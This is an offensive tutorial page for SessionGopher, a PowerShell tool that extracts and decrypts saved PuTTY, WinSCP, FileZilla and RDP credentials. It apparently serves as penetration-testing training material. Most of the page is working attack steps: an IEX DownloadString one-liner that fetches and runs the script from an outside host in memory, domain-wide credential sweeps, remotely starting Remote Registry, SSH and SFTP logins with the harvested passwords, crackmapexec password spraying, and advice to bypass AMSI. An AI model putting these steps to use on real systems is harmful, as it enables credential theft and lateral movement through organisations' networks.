SessionGopher
PowerShell tool that extracts and decrypts saved session information from PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP. Can run remotely across all domain machines to find saved admin credentials.
What is it?
SessionGopher is a PowerShell tool that finds and decrypts saved sessions from remote access tools. IT staff and developers routinely save SSH, SFTP, and RDP session profiles to avoid re-entering credentials. SessionGopher knows exactly where each application stores these sessions and can decrypt the passwords.
Applications it searches:
- PuTTY: saved SSH sessions in the registry (hostname, username, sometimes private key path)
- WinSCP: saved SFTP/SCP sessions with encrypted passwords that SessionGopher can decrypt
- FileZilla: saved FTP/SFTP connections (often stored in plaintext XML)
- SuperPuTTY: session manager that wraps PuTTY (stores sessions in XML)
- RDP: saved Remote Desktop Connection settings (.rdp files and Credential Manager entries)
- IT admins save sessions to production servers, domain controllers, and database servers
- WinSCP passwords are "encrypted" but SessionGopher reverses the encryption to get plaintext passwords
- FileZilla often stores passwords in base64 or plaintext in XML files: trivial to extract
- One IT admin workstation can yield credentials to dozens of critical servers
- With
-AllDomain, you can scan every machine remotely without touching each one individually
Run this first
Start locally to confirm it works before trying it across the whole domain.
PS> Import-Module .\SessionGopher.ps1 PS> Invoke-SessionGopher -Thorough
-Thoroughalso searches browser-saved RDP files and other locations, not only the obvious registry spots.
If you have domain credentials, Invoke-SessionGopher -AllDomain -Thorough queries every domain-joined machine's registry remotely, without touching each one individually, and can turn up saved admin sessions across the whole environment.
When do you use it?
SessionGopher targets a specific and extremely valuable class of credentials: saved remote access sessions. Run it in these scenarios:
- You've compromised an IT admin's workstation: they almost certainly have saved PuTTY/WinSCP sessions to servers they manage
- You need SSH/SFTP credentials: these tools save passwords for Linux and network device access
- You want to sweep the entire domain:
-AllDomainchecks every machine's registry remotely - You're looking for jump box credentials: admins save sessions to their jump/bastion hosts
- LaZagne didn't find enough: SessionGopher specifically targets sysadmin tools that LaZagne might miss in certain configurations
Running locally
# Import the module PS> Import-Module .\SessionGopher.ps1 # Run against the local machine, find all saved sessions PS> Invoke-SessionGopher -Thorough # -Thorough searches more locations: # - All user registry hives (not just current user) # - PuTTY host key cache # - Recently-used RDP connections # - FileZilla sitemanager.xml and recentservers.xml
If you can't drop files on disk: IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/SessionGopher.ps1') followed by Invoke-SessionGopher -Thorough. This loads and runs entirely in memory.
Running remotely with -AllDomain
SessionGopher is most useful for remote scanning. With domain credentials, you can query the registry of every domain-joined machine without touching each one individually.
# Scan every machine in the domain (requires domain creds + remote registry access) PS> Invoke-SessionGopher -AllDomain -Thorough # Target specific machines PS> Invoke-SessionGopher -Target fileserver01,dc01,adminws01 -Thorough # With explicit credentials PS> Invoke-SessionGopher -AllDomain -Thorough -u CORP\jsmith -p 'Password123!' # Output to file PS> Invoke-SessionGopher -AllDomain -Thorough -o C:\Users\jsmith\sg_output.txt
-AllDomain uses Remote Registry to read session data from other machines. The "Remote Registry" service must be running on target machines (it's often started by default on servers, sometimes disabled on workstations). If it's not running and you have admin access, you can start it: sc \\target start RemoteRegistry
What it finds
[+] Digging on ADMINWS01... PuTTY Sessions ============== Source : ADMINWS01\jsmith Session : root@fileserver01 Hostname : 10.10.10.50 PuTTY Sessions ============== Source : ADMINWS01\jsmith Session : admin@fw01 Hostname : 10.10.10.1 WinSCP Sessions =============== Source : ADMINWS01\jsmith Session : jsmith@linuxweb01 Hostname : 10.10.10.80 Username : jsmith Password : Adm1nP@ss2024! WinSCP Sessions =============== Source : ADMINWS01\jsmith Session : root@dbserver Hostname : 10.10.10.100 Username : root Password : MySQLr00t#2024 FileZilla Sessions ================== Source : ADMINWS01\jsmith Host : 10.10.10.80 Port : 22 User : webdeploy Password : D3pl0y!Key99 [+] Done.
- PuTTY sessions don't have passwords: but they reveal hostnames, usernames, and that the admin connects to those servers. Note the IPs for further enumeration
- WinSCP sessions have decrypted passwords: this is the gold. WinSCP "encrypts" passwords but SessionGopher reverses it
- FileZilla passwords are often plaintext: stored in XML files, trivially extracted
- RDP sessions: show which servers the user connects to, possibly with saved Credential Manager entries
- Cross-reference IPs: the hostnames and IPs from PuTTY sessions tell you which servers matter to this admin. Target those
Lateral movement from found sessions
Every credential SessionGopher finds is a direct path to another machine:
# Found SSH creds from WinSCP session → connect directly $ ssh jsmith@10.10.10.80 # Password: Adm1nP@ss2024! # Found root creds for database server → check if SSH is open $ ssh root@10.10.10.100 # Password: MySQLr00t#2024 # FTP/SFTP creds → access file shares $ sftp webdeploy@10.10.10.80 # Password: D3pl0y!Key99 # Test passwords against other services (password reuse) $ crackmapexec smb 10.10.10.0/24 -u jsmith -p 'Adm1nP@ss2024!'
IT admins are the highest-value targets for SessionGopher. A single admin workstation can yield SSH credentials for every Linux server they manage, database root passwords, network device access, and saved RDP sessions to domain controllers. Always prioritize scanning machines belonging to IT staff, helpdesk, and system administrators.
Common mistakes
- Forgetting -Thorough: Without it, SessionGopher only checks the current user's sessions. With
-Thorough, it checks all user profiles on the machine - Not trying -AllDomain: Local scanning finds one machine's sessions. Domain-wide scanning finds credentials across the entire organization. If you have domain creds, always try it
- Ignoring PuTTY sessions without passwords: PuTTY doesn't store passwords, but the session names and hostnames map the admin's infrastructure. Those IPs are your next targets
- Running without checking AMSI: SessionGopher is a known offensive PowerShell tool. AMSI will flag it. Bypass AMSI first if you're on a defended machine
- Missing Remote Registry dependency:
-AllDomainneeds the Remote Registry service. If it times out on machines, the service isn't running, not a network issue - Not cross-referencing with bloodhound: Found credentials for a server? Check BloodHound to see if that server has a path to Domain Admin
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.